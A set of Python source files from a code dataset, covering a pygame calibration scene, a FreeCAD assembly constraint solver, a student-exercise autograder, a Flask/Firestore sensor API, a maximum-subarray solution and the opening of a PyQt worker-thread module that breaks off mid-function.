{"seq_id": "5326215632", "text": "import pygame\nfrom pygame.locals import *\n\nfrom scene import Scene\nfrom scenes import EyesCalibration\nfrom screen import boundary, Screen\n\n\nclass Verify(Scene):\n    def __init__(self, surface, fontname, parent=None, screen=None):\n        super(Verify, self).__init__(surface, fontname, parent)\n        with open('screen.conf') as f:\n            screen = eval(f.read())\n        self.screen = screen\n        s = Screen()\n        s.ppl = screen['ppl']\n        s.wpl = screen['wpl']\n        self.sub_surf = surface.subsurface(pygame.Rect((480, 540), (960, 540)))\n        self.sub_window = EyesCalibration(self.sub_surf, fontname, self, s, (480, 540))\n\n    def process_event(self, event):\n        if event.type == KEYUP and event.key in self.keys:\n            self.process_key_event(event)\n        else:\n            self.sub_window.process_event(event)\n\n    def draw(self):\n        self.surface.fill(0)\n        begin = int((self.sub_window.position[0] - self.screen['offset'])\n                / self.screen['period'] % 1. * self.screen['ppl'])\n        for x in boundary(self.screen['ppl'], 1120, 800):\n            for i in range(begin, begin + self.screen['wpl']):\n                pygame.draw.line(self.surface, (0, 255, 0), (x + i, 100), (x + i, 980))\n            # for i in range(self.screen.offset + self.screen.wpl, self.screen.offset + self.screen.wpl * 2):\n            #     pygame.draw.line(self.surface, (0, 0, 255), (x + i, 100), (x + i, 980))\n        self.sub_window.draw()\n\n    def esc(self, _):\n        exit()\n\n    keys = {K_ESCAPE: esc, K_SPACE: esc}\n", "repo_name": "GratingLaboratories/SVIP", "sub_path": "scenes/verify.py", "file_name": "verify.py", "file_ext": "py", "file_size_in_byte": 1559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scene.Scene", "line_number": 9, "usage_type": "name"}, {"api_name": "screen.Screen", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 18, "usage_type": "call"}, {"api_name": "scenes.EyesCalibration", "line_number": 19, "usage_type": "call"}, {"api_name": "screen.boundary", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.draw.line", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "38037882536", "text": "'''\nNewton solver from commit d084cd00d9e9d884002527ef581d957d94433647\nDate:   Thu Dec 11 09:06:24 2014\n'''\n\nimport traceback, time\nimport FreeCAD\nfrom assembly2.solvers.common import *\nfrom assembly2.core import QtGui\nfrom .variableManager import VariableManager\nfrom assembly2.constraints import *\nimport numpy\n\n\ndef solve_via_simplex( constraintEqs, x0, bounds ):\n    import scipy.optimize\n    algName = 'scipy.optimize.fmin (simplex, nelder mead solver)'\n    errorNorm = lambda x: numpy.linalg.norm(constraintEqs(x))\n    R = scipy.optimize.fmin( errorNorm, x0, disp=False, full_output=True)\n    optResults = dict( zip(['xOpt', 'fOpt' , 'iter', 'funCalls', 'warnInt'], R ) ) # see scipy.optimize.fmin_bfgs docs for info\n    if optResults['warnInt'] == 0:\n        warningMsg = ''\n    else:\n        warningMsg = { 1: 'Maximum number of function evaluations made.',\n                       2: 'Maximum number of iterations reached.' }[optResults['warnInt']]   \n    return algName, warningMsg, optResults\n\ndef solve_via_bfgs( constraintEqs, x0, bounds ):\n    import scipy.optimize\n    algName = 'scipy.optimize.fmin_bfgs'\n    errorNorm = lambda x: numpy.linalg.norm(constraintEqs(x))\n    R = scipy.optimize.fmin_bfgs( errorNorm, x0 , disp=False, full_output=True)\n    optResults = dict( zip(['xOpt', 'fOpt' , 'gOpt', 'BOpt', 'func_calls', 'grad_calls', 'warnInt'], R ) ) # see scipy.optimize.fmin_bfgs docs for info\n    if optResults['warnInt'] == 0:\n        warningMsg = ''\n    else:\n        warningMsg = { 1: 'Maximum number of iterations exceeded.',\n                       2: 'Gradient and/or function calls not changing.' }[optResults['warnInt']]\n    return algName, warningMsg, optResults\n\ndef solve_via_slsqp( constraintEqs, x0, bounds , iterations=160 ):\n    import scipy.optimize\n    algName = 'scipy.optimize.fmin_slsqp (Sequential Least SQuares Programming)'\n    errorNorm = lambda x: numpy.linalg.norm(constraintEqs(x))\n    R = scipy.optimize.fmin_slsqp( errorNorm, x0, bounds=bounds, disp=False, full_output=True, iter=iterations)\n    optResults = dict( zip(['xOpt', 'fOpt' , 'iter', 'imode', 'smode'], R ) ) # see scipy.optimize.fmin_bfgs docs for info\n    if optResults['imode'] == 0:\n        warningMsg = ''\n    else:\n        warningMsg = optResults['smode']\n    return algName, warningMsg, optResults\n\n#def solve_via_fsolve( constraintEqs, x0, bounds ):\n#    import scipy\n#    Does not work as number of constraint equations does not equal number of variables.\n#    algName = 'scipy.optimize.fsolve'\n#    xOpt, infodict , solvedInt, warningMsg = scipy.optimize.fsolve( constraintEqs, x0, full_output=False)\n#    infodict['xOpt'] = xOpt\n#    return algName, warningMsg, infodict\n\ndef objects_violating_constraints( constraints ):\n    violatedConstraints = [c for c in constraints if not c.satisfied() ]\n    vNames = [ vc.constraintObj.Name for vc in violatedConstraints ]\n    debugPrint( 3, \"violated constraints: \" + ', '.join(vNames) )\n    vObjects = sum( [ vc.objectNames() for vc in violatedConstraints ], [] )\n    debugPrint( 3, \"objects associated to these constraints: \" + ', '.join( list(set(vObjects))))\n    return vObjects\n\n\n\ndef solveConstraints(\n        doc,\n        showFailureErrorDialog=True,\n        printErrors=True,\n        use_cache=False,\n        solver=solve_via_slsqp,\n        random_restart_attempts=1\n):\n    assert not use_cache, \"cache not implemented for Newton solver\"\n    T_start = time.time()\n    variableManager = VariableManager( doc )\n    constraints = []\n    mapper = { \n        'axial':AxialConstraint, \n        'plane':PlaneConstraint, \n        'circularEdge':CircularEdgeConstraint,\n        'angle_between_planes':AngleConstraint,\n        'sphericalSurface':SphericalSurfaceConstraint\n        }\n    for obj in doc.Objects:\n        if 'ConstraintInfo' in obj.Content:\n            debugPrint(3, \"assembly2solver parsing %s\" % obj.Name )\n            #try:\n            constraints.append( mapper[obj.Type]( doc, obj, variableManager) )\n            #except AttributeError, msg:\n            #    if str(msg).strip() == \"'NoneType' object has no attribute 'Placement'\":\n            #        flags = QtGui.QMessageBox.StandardButton.Yes | QtGui.QMessageBox.StandardButton.Abort\n            #        message = \"%s is refering to an object no longer in the assembly. Delete constraint? otherwise abort solving.\" % obj.Name\n            #        response = QtGui.QMessageBox.critical(QtGui.qApp.activeWindow(), \"Broken Constraint\", message, flags )\n            #        if response == QtGui.QMessageBox.Yes:\n            #            FreeCAD.Console.PrintError(\"removing constraint %s\" % obj.Name)\n            #            doc.removeObject(obj.Name)\n            #        else:\n            #            FreeCAD.Console.PrintError(\"aborted solving constraints due to %s refering a non-existent object\" % obj.Name)\n            #            return\n            #    else:\n            #        raise AttributeError(msg)\n\n    violatedConstraints = [c for c in constraints if not c.satisfied() ]\n    vNames = [ vc.constraintObj.Name for vc in violatedConstraints ]\n    debugPrint( 3, \"violated constraints: \" + ', '.join(vNames) )\n    vObjects = sum( [ vc.objectNames() for vc in violatedConstraints ], [] )\n    debugPrint( 3, \"objects associated to these constraints: \" + ', '.join( list(set(vObjects))))\n    vObjects_connectivety = [ sum( obj in c.objectNames() for c in constraints ) for obj in vObjects ]\n    debugPrint( 3, \"repective connectivety %s \" %  vObjects_connectivety)\n    if len(violatedConstraints) == 1 and len(vObjects_connectivety) == 2 and sum(vObjects_connectivety) > 2:\n        if not variableManager.objFixed(vObjects[0]) and not variableManager.objFixed(vObjects[1]):\n            for obj, conn in zip(vObjects, vObjects_connectivety):\n                if conn == 1: # makes vObjects_connectivety[0] == 1 or vObjects_connectivety[1] == 1 unnessary\n                    variableManager.fixEveryObjectExcept( obj )\n                    debugPrint( 3, \"moving %s as to satisfy %s, everything else fixed\" % ( obj, vNames[0]) )\n                    constraints = violatedConstraints\n    \n    def constraintEqs(x): #equations which need to solved inorder to assemble parts\n        variableManager.setValues(x)\n        errors = sum( [c.errors() for c in constraints], [] )\n        debugPrint( 4, \"constraint errors %s\" % errors )\n        return errors\n\n    x0 = variableManager.getValues()\n    debugPrint(3, \"variableManager.getValues() %s\" % x0)\n\n    algName, warningMsg, optResults = solver(constraintEqs, x0, variableManager.bounds() )\n    debugPrint(3, str(optResults))\n    if warningMsg !=  '' or optResults['fOpt'] > 10**-4 and random_restart_attempts > 0:\n        for i in range(random_restart_attempts):\n            variableManager.setValues(x0)\n            xN = variableManager.peturbValues( vObjects )\n            algName, warningMsg, optResults = solver(constraintEqs, xN, variableManager.bounds() )\n            debugPrint(3, str(optResults))\n            if warningMsg == '' and optResults['fOpt'] < 10**-4:\n                break\n    \n\n    if warningMsg == '' and optResults['fOpt'] < 10**-4: #then constraints satisfied\n        variableManager.setValues( optResults['xOpt'] )\n        variableManager.updateFreeCADValues( )\n        return  optResults['xOpt']\n    elif showFailureErrorDialog and QtGui.qApp != None:\n        FreeCAD.Console.PrintError(\"UNABLE TO SOLVE ASSEMBLY CONSTRAINTS. Info:\\n\")\n        FreeCAD.Console.PrintError(\"  optimization algorithm could not minimize the norm of constraint errors\\n\" )\n        FreeCAD.Console.PrintError(\"    optimization algorithm used  : %s\\n\" % algName )\n        FreeCAD.Console.PrintError(\"    optimization warning message : %s\\n\" %  warningMsg)\n        for k,v in optResults.iteritems():\n            FreeCAD.Console.PrintError(\"    %s: %s\\n\" % (k,v))\n        FreeCAD.Console.PrintError(\"UNABLE TO SOLVE ASSEMBLY CONSTRAINTS. refer to the Report View window for info\\n\")\n        # http://www.blog.pythonlibrary.org/2013/04/16/pyside-standard-dialogs-and-message-boxes/\n        flags = QtGui.QMessageBox.StandardButton.Yes \n        flags |= QtGui.QMessageBox.StandardButton.No\n        message = \"\"\"The Assembly 2 Netwon solver failed to find a solution to the specified constraints.\nThis is due to either\n  - the contraint problem being too difficult for the solver, or\n  - impossible/contridictorary constraints have be specified.\n\nEither way, the solution is most likely to delete the problematic constraints, and try again using a different constraint scheme.\nDelete constraints [%s]?\n \"\"\" % ', '.join(vNames)\n        response = QtGui.QMessageBox.critical(\n            QtGui.qApp.activeWindow(),\n            \"Solver Failure!\",\n            message,\n            flags\n        )\n        if response == QtGui.QMessageBox.Yes:\n            for name in vNames:\n                doc.removeObject(name)\n                FreeCAD.Console.PrintError(\"removed constraint %s\" % name)\n        return None\n", "repo_name": "hamish2014/FreeCAD_assembly2", "sub_path": "assembly2/solvers/newton_solver/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 8990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 150, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linalg.norm", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 18, "usage_type": "attribute"}, {"api_name": "scipy.optimize.optimize.fmin", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 19, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 31, "usage_type": "attribute"}, {"api_name": "scipy.optimize.optimize.fmin_bfgs", "line_number": 32, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 32, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 32, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 44, "usage_type": "attribute"}, {"api_name": "scipy.optimize.optimize.fmin_slsqp", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 45, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 45, "usage_type": "name"}, {"api_name": "time.time", "line_number": 80, "usage_type": "call"}, {"api_name": "variableManager.VariableManager", "line_number": 81, "usage_type": "call"}, {"api_name": "variableManager.objFixed", "line_number": 117, "usage_type": "call"}, {"api_name": "variableManager.fixEveryObjectExcept", "line_number": 120, "usage_type": "call"}, {"api_name": "variableManager.setValues", "line_number": 125, "usage_type": "call"}, {"api_name": "variableManager.getValues", "line_number": 130, "usage_type": "call"}, {"api_name": "variableManager.bounds", "line_number": 133, "usage_type": "call"}, {"api_name": "variableManager.setValues", "line_number": 137, "usage_type": "call"}, {"api_name": "variableManager.peturbValues", "line_number": 138, "usage_type": "call"}, {"api_name": "variableManager.bounds", "line_number": 139, "usage_type": "call"}, {"api_name": "variableManager.setValues", "line_number": 146, "usage_type": "call"}, {"api_name": "variableManager.updateFreeCADValues", "line_number": 147, "usage_type": "call"}, {"api_name": "assembly2.core.QtGui.qApp", "line_number": 149, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 149, "usage_type": "name"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 150, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 150, "usage_type": "attribute"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 151, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 151, "usage_type": "attribute"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 152, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 152, "usage_type": "attribute"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 153, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 153, "usage_type": "attribute"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 155, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 155, "usage_type": "attribute"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 156, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 156, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui.QMessageBox", "line_number": 158, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 158, "usage_type": "name"}, {"api_name": "assembly2.core.QtGui.QMessageBox", "line_number": 159, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 159, "usage_type": "name"}, {"api_name": "assembly2.core.QtGui.QMessageBox.critical", "line_number": 168, "usage_type": "call"}, {"api_name": "assembly2.core.QtGui.QMessageBox", "line_number": 168, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 168, "usage_type": "name"}, {"api_name": "assembly2.core.QtGui.qApp.activeWindow", "line_number": 169, "usage_type": "call"}, {"api_name": "assembly2.core.QtGui.qApp", "line_number": 169, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 169, "usage_type": "name"}, {"api_name": "assembly2.core.QtGui.QMessageBox", "line_number": 174, "usage_type": "attribute"}, {"api_name": "assembly2.core.QtGui", "line_number": 174, "usage_type": "name"}, {"api_name": "FreeCAD.Console.PrintError", "line_number": 177, "usage_type": "call"}, {"api_name": "FreeCAD.Console", "line_number": 177, "usage_type": "attribute"}]}
{"seq_id": "31188844025", "text": "import unittest, sys\nfrom unittest.mock import patch\nfrom io import StringIO\nimport student\n\nclass Tests(unittest.TestCase):\n\tinputs = \"Some input\\n\"\n\t@patch('sys.stdin', StringIO(inputs))\n\t@patch('sys.stdout', new_callable = StringIO)\n\tdef test01_part_1(self, stdout):\n\t\tcorrect = \"Enter a sentence or phrase:\\nYou entered: Some input\\n\"\n\t\tstudent.main()\n\t\tresult = stdout.getvalue()[:len(correct)]\n\t\tself.assertEqual(result, correct)\n\n\tdef test02_part_2(self):\n\t\tinput = \"Some input\"\n\t\tcorrect = 9\n\t\ttry:\n\t\t\tresult = student.num_letters(input)\n\t\t\tself.assertEqual(result, correct)\n\t\texcept AttributeError:\n\t\t\tself.fail('Message: num_letters() function is missing')\n\t\texcept TypeError:\n\t\t\tself.fail('Message: num_letters() function has incorrect parameters')\n\n\tinputs = \"May the force be with you!\\n\"\n\t@patch('sys.stdin', StringIO(inputs))\n\t@patch('sys.stdout', new_callable = StringIO)\n\tdef test03_part_3(self, stdout):\n\t\tcorrect = \"Enter a sentence or phrase:\\nYou entered: May the force be with you!\\nNumber of letters: 20\\n\"\n\t\ttry:\n\t\t\tstudent.main()\n\t\t\tresult = stdout.getvalue()[:len(correct)]\n\t\t\tself.assertEqual(result, correct)\n\t\texcept AttributeError:\n\t\t\tself.fail('Message: num_letters() function is missing')\n\t\texcept TypeError:\n\t\t\tself.fail('Message: num_letters() function has incorrect parameters')\n\n\t@patch('sys.stdout', new_callable = StringIO)\n\tdef test04_part_4(self, stdout):\n\t\tinput = \" lots  \\nof \\tspa\\tc\\tes\\n\\n\"\n\t\tcorrect = \"String with no whitespace: lotsofspaces\\n\"\n\t\ttry:\n\t\t\tstudent.output_without_whitespace(input)\n\t\t\tresult = stdout.getvalue()\n\t\t\tself.assertEqual(result, correct)\n\t\texcept AttributeError:\n\t\t\tself.fail('Message: output_without_whitespace() function is missing')\n\t\texcept TypeError:\n\t\t\tself.fail('Message: output_without_whitespace() function has incorrect parameters')\n\n\tinputs = \"Do. Or do not. There is no try.\\n\"\n\t@patch('sys.stdin', StringIO(inputs))\n\t@patch('sys.stdout', new_callable = StringIO)\n\tdef test05_part_5(self, stdout):\n\t\tcorrect = \"Enter a sentence or phrase:\\nYou entered: Do. Or do not. There is no try.\\nNumber of letters: 21\\nString with no whitespace: Do.Ordonot.Thereisnotry.\\n\"\n\t\ttry:\n\t\t\tstudent.main()\n\t\t\tresult = stdout.getvalue()\n\t\t\tself.assertEqual(result, correct)\n\t\texcept AttributeError:\n\t\t\tself.fail('Message: output_without_whitespace() function is missing')\n\t\texcept TypeError:\n\t\t\tself.fail('Message: output_without_whitespace() function has incorrect parameters')\n\ndef main(simple):\n\tsuite = unittest.defaultTestLoader\n\trunner = unittest.TextTestRunner(stream=StringIO(), descriptions=False)\n\tresult = runner.run(suite.loadTestsFromTestCase(Tests))\n\ttotal = result.testsRun\n\tif result.wasSuccessful():\n\t\tscore = 10\n\t\tpassed = total\n\telse:\n\t\tpassed = total - len(result.failures) - len(result.errors)\n\t\tscore = round(passed/total*10,2)\n\treport = f\"Passed: {passed}/{total}\\nScore: {score}\\n\"\n\tif not simple:\n\t\tfailed = []\n\t\tfor i in result.failures:\n\t\t\tfailed.append(f\"Fail: {i[0].id()[15:]}\")\n\t\tfor i in result.errors:\n\t\t\tfailed.append(f\"Error: {i[0].id()[15:]}\")\n\t\treport += \"Failed:\\n\"\n\t\tfor i in failed:\n\t\t\treport += f\"\\t{i}\\n\"\n\treturn score, report\n\nif __name__ == '__main__':\n\tscore, report = main(sys.argv[1]=='True')\n\twith open('score.txt','w') as f:\n\t\tf.write(str(score))\n\t\tf.write('\\n'+report)", "repo_name": "mrsimonsen/SimoGrader", "sub_path": "Testing/18ptests.py", "file_name": "18ptests.py", "file_ext": "py", "file_size_in_byte": 3284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "student.main", "line_number": 12, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 8, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 8, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 9, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 9, "usage_type": "name"}, {"api_name": "student.num_letters", "line_number": 20, "usage_type": "call"}, {"api_name": "student.main", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 28, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 28, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 29, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 29, "usage_type": "name"}, {"api_name": "student.output_without_whitespace", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 41, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 41, "usage_type": "name"}, {"api_name": "student.main", "line_number": 60, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 55, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 55, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 56, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 56, "usage_type": "name"}, {"api_name": "unittest.defaultTestLoader", "line_number": 69, "usage_type": "attribute"}, {"api_name": "unittest.TextTestRunner", "line_number": 70, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 92, "usage_type": "attribute"}]}
{"seq_id": "5005083340", "text": "from flask import Flask\nfrom flask_ngrok import run_with_ngrok\nfrom flask import jsonify, request\n\nfrom firebase_admin import credentials, firestore, initialize_app\n\n\napp = Flask(__name__)\napp.config['JSONIFY_PRETTYPRINT_REGULAR'] = False\nrun_with_ngrok(app)  # Start ngrok when app is run\n\n\ncred = credentials.Certificate('./fs.json')\napp_fs = initialize_app(cred)\ndb = firestore.client()\n\nsensor = db.collection('sensor')\n\n@app.route(\"/\", methods=['GET'])\ndef index():\n  return 'Welcome to FLASK'\n\n\n# /create_sensor\n@app.route(\"/create_sensor\", methods=['POST'])\ndef create_sensor():\n  try:\n    print(request)\n\n    sensor_id = request.form['id']\n    sensor.document(sensor_id).set(request.form)\n    return jsonify({\n        \"status\": \"CREATED\",\n        \"data\": request.form\n    })\n  except Exception as e:\n    return jsonify({\n        \"status\": \"ERROR\",\n        \"details\": e\n    })\n\n@app.route(\"/get_sensor\", methods=['GET'])\ndef get_sensor():\n  try:\n    sensor_id = request.args.get('id')\n    print(\"sensor_id\", sensor_id)\n\n    if sensor_id:\n      sensor_data = sensor.document(sensor_id).get()\n      return jsonify({\n          \"status\": \"SUCCESS\",\n          \"data\": sensor_data.to_dict()\n      })\n    else:\n      all_sensor = [doc.to_dict() for doc in sensor.stream()]\n      return jsonify({\n          \"status\": \"SUCCESS\",\n          \"data\": all_sensor\n      })\n  except Exception as e:\n    return jsonify({\n        \"status\": \"ERROR\",\n        \"details\": e\n    })\n\n# /update_sensor\n@app.route(\"/update_sensor\", methods=['POST', 'PUT'])\ndef update_sensor():\n  try:\n    sensor_id = request.form['id']\n    sensor.document(sensor_id).update(request.form)\n    sensor_data = sensor.document(sensor_id).get()\n    return jsonify({\n          \"status\": \"UPDATED\",\n          \"data\": sensor_data.to_dict()\n    })\n  except Exception as e:\n    return jsonify({\n        \"status\": \"ERROR\",\n        \"details\": e\n    })\n\n\n@app.route(\"/delete_sensor\", methods=['GET', 'DELETE'])\ndef delete_sensor():\n  try:\n    sensor_id = request.args.get('id')\n    sensor_data = sensor.document(sensor_id).delete()\n    return jsonify({\n          \"status\": \"DELETED\",\n          \"id\": sensor_id\n      })\n  except Exception as e:\n    return jsonify({\n        \"status\": \"ERROR\",\n        \"details\": e\n    })\n\n\nif __name__ == '__main__':\n    app.run()\n", "repo_name": "zendi014/flask-firebase", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2314, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_ngrok.run_with_ngrok", "line_number": 10, "usage_type": "call"}, {"api_name": "firebase_admin.credentials.Certificate", "line_number": 13, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 13, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 14, "usage_type": "call"}, {"api_name": "firebase_admin.firestore.client", "line_number": 15, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "argument"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 70, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 70, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 87, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 87, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 89, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "32362383347", "text": "from typing import List\n\n\nclass Solution:\n    def maxSubArray(self, nums: List[int]) -> int:\n        left, right = 0, 1\n        current_sum, best_sum = nums[0], nums[0]\n        while left < len(nums):\n            while right < len(nums) and current_sum >= 0:\n                current_sum += nums[right]\n                best_sum = max(best_sum, current_sum)\n                right += 1\n            while (left < right) and (current_sum < 0 or right == len(nums)):\n                current_sum -= nums[left]\n                left += 1\n                if left < right:\n                    best_sum = max(best_sum, current_sum)\n        return best_sum\n\n\nclass SolutionDivideAndConquer:\n    def maxSubArray(self, nums: List[int]) -> int:\n        if len(nums) == 1:\n            return nums[0]\n\n        base = 0\n        def helper(left, right):\n            if right - left <= 2:\n                m = max(nums[left:right])\n                l = max(base, nums[left])\n                f = sum(nums[left:right])\n                c = max(nums[left:right])\n                r = max(base, nums[right-1])\n                return m, l, f, c, r\n\n            mid = left + int((right - left) / 2)\n            amax, al, af, ac, ar = helper(left, mid)\n            bmax, bl, bf, bc, br = helper(mid, right)\n            m, l, f, c, r = (\n                max(amax, bmax),               # max\n                max(al, af, af + bl, af + bf), # left\n                af + bf,                       # full\n                max(ac, ar + bl, bc),          # center\n                max(br, bf, ar + bf, af + bf), # right\n            )\n            return m, l, f, c, r\n\n        m, l, f, c, r = helper(0, len(nums))\n        result = max(l, f, c, r)\n        # if all numbers were negative, set result to the max negative number\n        if m < 0 and m < result:\n            result = m\n        return result\n\n\ndef assert_eq(actual, expected):\n    if actual != expected:\n        raise AssertionError('expected: %s, actual: %s' % (expected, actual))\n\n\ndef test(input_, output):\n    #assert_eq(Solution().maxSubArray(input_), output)\n    assert_eq(SolutionDivideAndConquer().maxSubArray(input_), output)\n\n\nif __name__ == '__main__':\n    test([-2, -2, -3, 0, -3, 1, -3], 1)\n    test([1, 2, 3, -10, 1, 2, 4], 7)\n\n    test([-2, 1, -3, 4, -1, 2, 1, -5, 4], 6)\n    test([1, 2, 3], 6)\n    test([1], 1)\n    test([-3], -3)\n    test([-1, 0, -3], 0)\n    test([-1, 1, -3], 1)\n    test([-1, -3], -1)\n    test([1, 2, 3, -10, 1, 2, 4], 7)\n    test([1, 2, 4, -10, 1, 2, 3], 7)\n    test([2, -1, -3], 2)\n    test([-1, -3, 2], 2)\n", "repo_name": "balta2ar/scratchpad", "sub_path": "leetcode-30day-challenge/03_maximum-subarray/03_maximum-subarray.py", "file_name": "03_maximum-subarray.py", "file_ext": "py", "file_size_in_byte": 2560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "40567660752", "text": "import glob\nimport inspect\nimport os\nimport sys\nimport time\nimport traceback\nfrom functools import partial\n\nimport numpy as np\nfrom PyQt4 import QtCore, QtGui\n\nimport makeFilters as mF\nimport processData as pD\n\nreload(pD)\n\nclass WorkerSignals(QtCore.QObject):\n    '''\n    Defines the signals available from a running worker thread.\n\n    Supported signals are:\n\n    finished\n        `tuple` (integer for dataset, timing info, bool for killed or not, percent complete)\n\n    error\n        `tuple` (exctype, value, traceback.format_exc() )\n\n    result\n        `object` data returned from processing, anything\n\n    progress\n        `tuple`  (float indicating % progress, index for dataset)\n\n    '''\n    finished = QtCore.pyqtSignal(tuple)\n    error = QtCore.pyqtSignal(tuple)\n    result = QtCore.pyqtSignal(object) \n    progress = QtCore.pyqtSignal(tuple)\n    interrupt=QtCore.pyqtSignal(bool) \n\n\nclass Worker(QtCore.QRunnable):\n    '''\n    Worker thread\n\n    Inherits from QRunnable to handler worker thread setup, signals and wrap-up.\n\n    :param callback: The function callback to run on this worker thread. Supplied args and \n                     kwargs will be passed through to the runner.\n    :type callback: function\n    :param args: Arguments to pass to the callback function\n    :param kwargs: Keywords to pass to the callback function\n\n    '''\n\n    def __init__(self, fn, *args, **kwargs):\n        super(Worker, self).__init__()\n        # Store constructor arguments (re-used for processing)\n        self.fn = fn\n        self.args = args\n        self.kwargs = kwargs\n        self.signals = WorkerSignals()\n\n        # Add the callback to our kwargs\n        kwargs['progress_callback'] = self.signals.progress\n\n    @QtCore.pyqtSlot()\n    def run(self):\n        '''\n        Initialise the runner function with passed args, kwargs.\n        '''\n\n        # Retrieve args/kwargs here; and fire processing using them\n        try:\n            result = self.fn(*self.args, **self.kwargs)\n            worked=True\n        except:\n            #traceback.print_exc()\n            exctype, value = sys.exc_info()[:2]\n            